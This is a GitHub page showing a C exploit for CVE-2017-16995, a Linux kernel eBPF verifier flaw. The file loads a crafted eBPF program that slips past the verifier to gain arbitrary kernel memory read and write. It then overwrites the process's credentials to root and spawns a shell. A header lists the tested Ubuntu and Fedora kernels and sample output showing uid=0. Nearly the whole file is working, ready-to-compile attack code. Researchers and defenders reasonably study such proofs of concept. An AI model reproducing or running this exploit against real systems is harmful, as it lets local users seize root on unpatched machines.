-
Notifications
You must be signed in to change notification settings - Fork 55
/
cve-2017-16995.c
496 lines (426 loc) · 12.9 KB
/
cve-2017-16995.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}